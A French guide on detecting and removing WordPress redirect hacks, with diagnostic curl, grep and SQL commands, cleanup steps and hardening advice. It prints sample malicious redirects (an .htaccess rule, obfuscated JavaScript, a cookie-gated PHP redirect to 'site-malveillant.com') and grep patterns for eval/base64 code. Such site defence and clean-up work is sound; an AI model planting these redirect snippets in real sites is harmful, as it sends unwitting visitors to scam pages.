
WordPress Redirect Hack : Comment Detecter et Supprimer
Le redirect hack WordPress est l'une des infections les plus frustrantes pour les proprietaires de sites. Votre site semble fonctionner normalement quand vous le visitez, mais vos utilisateurs sont rediriges vers des sites de phishing, de faux supports techniques ou des pages de spam pharmaceutique. En 2026, cette attaque reste parmi les plus repandues car elle est extremement rentable pour les pirates : chaque redirection genere du revenu via des reseaux publicitaires malveillants. Ce guide vous explique comment detecter, diagnostiquer et supprimer completement un redirect hack sur WordPress, etape par etape.
Detecter et supprimer un redirect hack WordPress (7 etapes)
- 1
Tester le site en navigation privee — Ouvrez votre site via une recherche Google en navigation privee pour confirmer la redirection.
- 2
Inspecter le fichier .htaccess — Verifiez que le .htaccess ne contient pas de RewriteRule pointant vers des URLs externes.
- 3
Verifier wp-config.php — Recherchez du code eval, base64_decode ou des inclusions suspectes dans wp-config.php.
- 4
Scanner la base de donnees — Cherchez des scripts JavaScript malveillants dans wp_posts et des options suspectes dans wp_options.
- 5
Reinitialiser le .htaccess et nettoyer la BDD — Remplacez le .htaccess par la version standard et supprimez le code malveillant de la base.
- 6
Reinstaller les fichiers WordPress — Telechargez une copie fraiche du core, des plugins et du theme actif depuis les sources officielles.
- 7
Securiser le site contre les reinfections — Changez tous les mots de passe, mettez tout a jour et installez un pare-feu applicatif.
Qu'est-ce qu'un Redirect Hack WordPress
Un redirect hack est une attaque ou du code malveillant est injecte dans votre site WordPress pour rediriger automatiquement les visiteurs vers des sites tiers. Contrairement a d'autres malwares, le redirect hack est souvent conditionnel : il ne se declenche que dans certaines circonstances, rendant sa detection particulierement difficile.
Les redirections malveillantes peuvent etre inserees dans :
- Le fichier .htaccess a la racine du site
- La base de donnees WordPress (tables
wp_options,wp_posts) - Les fichiers PHP du coeur, des themes ou des plugins
- Le fichier wp-config.php
- Des fichiers JavaScript charges dynamiquement
Le but est toujours le meme : monetiser votre trafic en envoyant vos visiteurs vers des sites que le pirate controle ou qui lui versent une commission par visite.
Les Differents Types de Redirect Hack
Comprendre le type de redirection auquel vous faites face est essentiel pour savoir ou chercher le code malveillant. Voici les 4 types principaux rencontres en 2026.
1. Injection .htaccess
C'est le type le plus classique. Le pirate insere des regles de redirection directement dans le fichier .htaccess :
# Exemple de code malveillant dans .htaccess
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*facebook.*
RewriteRule ^(.*)$ http://site-malveillant.com/redirect [R=302,L]Cette methode est particulierement vicieuse car elle ne redirige que les visiteurs venant de moteurs de recherche ou reseaux sociaux. Le proprietaire du site, qui accede directement via l'URL, ne voit rien d'anormal.
2. Redirection via wp_options
Le pirate modifie les valeurs siteurl ou home dans la table wp_options, ou insere du JavaScript malveillant dans des options comme widget_text :
-- Verifier les valeurs siteurl et home
SELECT option_name, option_value
FROM wp_options
WHERE option_name IN ('siteurl', 'home');3. Redirection JavaScript
Du code JavaScript est injecte dans les fichiers du theme, les posts ou les widgets pour rediriger cote client :
// Code malveillant typique (obfusque)
var _0x4f2a = ["\x68\x74\x74\x70\x3A\x2F\x2F"];
if (document.referrer.indexOf("google") !== -1) {
window.location.href = _0x4f2a[0] + "site-malveillant.com";
}4. Redirection Conditionnelle via PHP
C'est la forme la plus avancee. Du code PHP est injecte dans wp-config.php, functions.php ou wp-load.php et execute des redirections basees sur des conditions complexes :
// Exemple de redirect conditionnel
if (isset($_SERVER['HTTP_USER_AGENT']) &&
preg_match('/bot|crawl|spider/i', $_SERVER['HTTP_USER_AGENT']) === 0 &&
!isset($_COOKIE['visited'])) {
setcookie('visited', '1', time() + 86400);
header('Location: http://site-malveillant.com');
exit();
}Ce code ne redirige que les vrais visiteurs (pas les bots), et seulement une fois (grace au cookie), ce qui rend la detection par les outils automatises quasi impossible.
Comment Diagnostiquer un Redirect Hack
Avant de nettoyer, vous devez confirmer l'infection et identifier sa source. Voici un processus de diagnostic methodique.
Etape 1 : Tester en Navigation Privee
Ouvrez une fenetre de navigation privee et accedez a votre site via une recherche Google (tapez site:votresite.com dans Google, puis cliquez sur un resultat). Beaucoup de redirect hacks ne se declenchent que lorsque le visiteur arrive depuis un moteur de recherche.
Etape 2 : Simuler Differents User-Agents
Utilisez curl pour tester avec differents referrers et user-agents :
# Tester avec un referrer Google
curl -L -A "Mozilla/5.0" -e "https://www.google.com" https://votresite.com -o /dev/null -w "%{url_effective}
"
# Tester avec un user-agent mobile
curl -L -A "Mozilla/5.0 (iPhone; CPU iPhone OS 16_0 like Mac OS X)" https://votresite.com -o /dev/null -w "%{url_effective}
"
# Comparer avec un acces direct
curl -L -A "Mozilla/5.0" https://votresite.com -o /dev/null -w "%{url_effective}
"Si l'URL effective differe entre les tests, vous avez confirme une redirection conditionnelle.
Etape 3 : Inspecter le Fichier .htaccess
# Afficher le contenu complet du .htaccess
cat /chemin/vers/wordpress/.htaccess
# Chercher des regles de redirection suspectes
grep -n "RewriteRule\|Redirect\|RedirectMatch" /chemin/vers/wordpress/.htaccessUn fichier .htaccess WordPress standard ne contient que ces regles :
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPressToute autre regle RewriteRule avec une URL externe est suspecte.
Etape 4 : Verifier wp-config.php
# Chercher des inclusions ou redirections suspectes dans wp-config.php
head -20 /chemin/vers/wordpress/wp-config.php
# Chercher du code encode en base64
grep -n "base64_decode\|eval(\|gzinflate\|str_rot13" /chemin/vers/wordpress/wp-config.phpLe code malveillant est souvent insere avant la premiere ligne <?php ou apres le require_once ABSPATH . 'wp-settings.php';.
Etape 5 : Scanner la Base de Donnees
-- Chercher des scripts JavaScript malveillants dans les posts
SELECT ID, post_title
FROM wp_posts
WHERE post_content LIKE '%<script%'
AND post_content LIKE '%location%';
-- Chercher des redirections dans wp_options
SELECT option_name, LEFT(option_value, 200) AS value_preview
FROM wp_options
WHERE option_value LIKE '%eval(%'
OR option_value LIKE '%base64_decode%'
OR option_value LIKE '%document.location%'
OR option_value LIKE '%window.location%';
-- Verifier les URLs du site
SELECT option_name, option_value
FROM wp_options
WHERE option_name IN ('siteurl', 'home', 'template', 'stylesheet');Etape 6 : Utiliser des Outils de Scan
| Outil | Type | Commande / URL |
|---|---|---|
| WP-CLI | Ligne de commande | wp plugin verify-checksums --all |
| Wordfence | Plugin WordPress | Scan depuis le dashboard |
| Sucuri SiteCheck | En ligne | sitecheck.sucuri.net |
| Google Safe Browsing | En ligne | transparencyreport.google.com |
| VirusTotal | En ligne | virustotal.com |
Nettoyage Etape par Etape
Une fois le diagnostic effectue, procedez au nettoyage dans cet ordre precis. Faites une sauvegarde complete avant de commencer.
Etape 1 : Reinitialiser le Fichier .htaccess
# Sauvegarder le .htaccess infecte pour analyse
cp /chemin/vers/wordpress/.htaccess /chemin/vers/wordpress/.htaccess.infected
# Remplacer par un .htaccess propre
cat > /chemin/vers/wordpress/.htaccess << 'EOF'
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
EOF
# Proteger le fichier en ecriture
chmod 444 /chemin/vers/wordpress/.htaccessVerifiez aussi les fichiers .htaccess dans les sous-repertoires (/wp-content/, /wp-includes/, /wp-admin/). Certains hacks creent des fichiers .htaccess supplementaires :
# Trouver tous les fichiers .htaccess
find /chemin/vers/wordpress/ -name ".htaccess" -type fEtape 2 : Nettoyer la Base de Donnees
-- Supprimer les scripts malveillants des posts
-- ATTENTION : executez d'abord un SELECT pour verifier
UPDATE wp_posts
SET post_content = REGEXP_REPLACE(
post_content,
'<script[^>]*>.*?(location|redirect|window\\.location).*?</script>',
''
)
WHERE post_content REGEXP '<script[^>]*>.*?(location|redirect|window\\.location).*?</script>';
-- Supprimer les options suspectes ajoutees par le malware
DELETE FROM wp_options
WHERE option_name NOT IN (
SELECT option_name FROM (
SELECT option_name FROM wp_options
WHERE autoload = 'yes'
AND option_name LIKE 'wp_%'
) AS safe_options
)
AND option_name LIKE '%redirect%'
AND option_name NOT LIKE '%woocommerce%';
-- Verifier les comptes administrateurs non autorises
SELECT ID, user_login, user_email, user_registered
FROM wp_users
WHERE ID IN (
SELECT user_id FROM wp_usermeta
WHERE meta_key = 'wp_capabilities'
AND meta_value LIKE '%administrator%'
);Supprimez tout compte administrateur que vous ne reconnaissez pas.
Etape 3 : Nettoyer les Fichiers PHP
# Chercher du code malveillant dans tous les fichiers PHP
grep -rn "eval(base64_decode\|eval(gzinflate\|eval(str_rot13" /chemin/vers/wordpress/
# Chercher des fichiers PHP dans le dossier uploads (ne devrait pas exister)
find /chemin/vers/wordpress/wp-content/uploads/ -name "*.php" -type f
# Reinstaller le coeur de WordPress
wp core download --force --skip-content
# Reinstaller tous les plugins depuis wordpress.org
wp plugin install $(wp plugin list --field=name --format=csv) --force
# Reinstaller le theme actif
wp theme install $(wp theme list --status=active --field=name) --forceEtape 4 : Nettoyer wp-config.php
# Comparer avec un wp-config-sample.php propre
diff /chemin/vers/wordpress/wp-config.php /chemin/vers/wordpress/wp-config-sample.php
# Verifier les premieres et dernieres lignes (endroits preferes des hackers)
head -5 /chemin/vers/wordpress/wp-config.php
tail -5 /chemin/vers/wordpress/wp-config.phpRegenerez vos cles de securite en obtenant de nouvelles valeurs depuis https://api.wordpress.org/secret-key/1.1/salt/ et remplacez les anciennes dans wp-config.php.
Etape 5 : Verifier les Cron Jobs
Les pirates utilisent parfois les taches cron WordPress pour reinjecter le code malveillant :
# Lister toutes les taches cron
wp cron event list
# Chercher des taches suspectes
wp cron event list --fields=hook,next_run,recurrence | grep -v "wp_\|woocommerce_\|action_scheduler"Supprimez toute tache cron que vous ne reconnaissez pas.
Verification Post-Nettoyage
Apres le nettoyage, une verification rigoureuse est indispensable.
Checklist de Verification
- Tester la navigation : visitez le site en navigation privee, depuis Google, avec differents appareils
- Scanner a nouveau : lancez un scan complet avec Wordfence ou Sucuri
- Verifier Google Search Console : consultez le rapport "Problemes de securite"
- Tester les redirections avec
curl(voir commandes plus haut) - Monitorer les logs pendant 48 heures :
# Surveiller les acces suspects dans les logs Apache
tail -f /var/log/apache2/access.log | grep -i "eval\|base64\|redirect"
# Surveiller les modifications de fichiers
find /chemin/vers/wordpress/ -name "*.php" -newer /chemin/vers/wordpress/wp-config.php -type fDemander une Revision a Google
Si votre site a ete signale comme dangereux par Google Safe Browsing, consultez notre guide detaille pour sortir de la blacklist Google :
- Connectez-vous a Google Search Console
- Allez dans Securite et actions manuelles > Problemes de securite
- Cliquez sur Demander un examen apres avoir nettoye le site
- Decrivez les actions de nettoyage effectuees
Le delai de revision est generalement de 24 a 72 heures.
Pourquoi le Redirect Hack Revient Souvent
Le redirect hack est tristement celebre pour sa tendance a revenir. Voici pourquoi :
| Cause de Reinfection | Explication |
|---|---|
| Backdoor non supprimee | Un fichier backdoor cache permet au pirate de reinjecter le code |
| Comptes admin pirates | Un compte administrateur cree par le pirate reste actif |
| Plugin vulnerable | Le plugin qui a servi de porte d'entree n'a pas ete mis a jour |
| Cron job malveillant | Une tache planifiee reinjecte le code a intervalles reguliers |
| Fichiers dans /uploads/ | Des scripts PHP caches dans le dossier uploads sont ignores |
Prevention : Empecher les Redirect Hacks
La meilleure defense est une approche preventive multicouche.
Securiser le Fichier .htaccess
# Proteger .htaccess contre les modifications
<Files .htaccess>
Order Allow,Deny
Deny from all
</Files>Definissez les permissions du fichier a 444 (lecture seule) :
chmod 444 /chemin/vers/wordpress/.htaccessDurcir wp-config.php
Ajoutez ces constantes pour limiter les capacites d'edition :
// Desactiver l'editeur de fichiers dans le dashboard
define('DISALLOW_FILE_EDIT', true);
// Forcer SSL pour l'administration
define('FORCE_SSL_ADMIN', true);
// Limiter les revisions de posts
define('WP_POST_REVISIONS', 5);Mettre en Place un Monitoring
| Solution | Fonction | Frequence |
|---|---|---|
| Wordfence | Scan de fichiers et malware | Quotidien |
| Sucuri | Firewall WAF + monitoring | Temps reel |
| UptimeRobot | Monitoring de redirection | Toutes les 5 min |
| Google Search Console | Alertes de securite | Continu |
Bonnes Pratiques de Securite
- Mettez a jour WordPress, themes et plugins des qu'un patch est disponible, ou confiez cette tache a un service de maintenance WordPress
- Utilisez des mots de passe forts et l'authentification a deux facteurs (2FA)
- Limitez le nombre de comptes administrateurs au strict necessaire
- Supprimez les plugins et themes inactifs
- Choisissez un hebergeur securise avec isolation des comptes
- Effectuez des sauvegardes regulieres et testez leur restauration
Quand Faire Appel a un Expert
Si le redirect hack revient apres plusieurs tentatives de nettoyage, ou si vous n'etes pas a l'aise avec les manipulations techniques, il est judicieux de confier le nettoyage a un professionnel. Un expert en suppression de malware WordPress dispose des outils et de l'experience pour identifier toutes les couches de l'infection, y compris les backdoors les plus sophistiquees.
Conclusion
Le redirect hack WordPress est une infection serieuse qui peut detruire votre reputation, votre SEO et la confiance de vos visiteurs. La cle du nettoyage est la methode : diagnostiquer le type de redirection, nettoyer systematiquement chaque couche (fichiers, base de donnees, cron jobs), verifier l'absence de backdoors et mettre en place des mesures preventives solides.
N'attendez pas que Google signale votre site comme dangereux. Si vous observez des signes de piratage ou si vous avez besoin d'un guide complet de nettoyage, agissez immediatement. Et restez informe des malwares WordPress courants en 2026 pour mieux vous proteger.

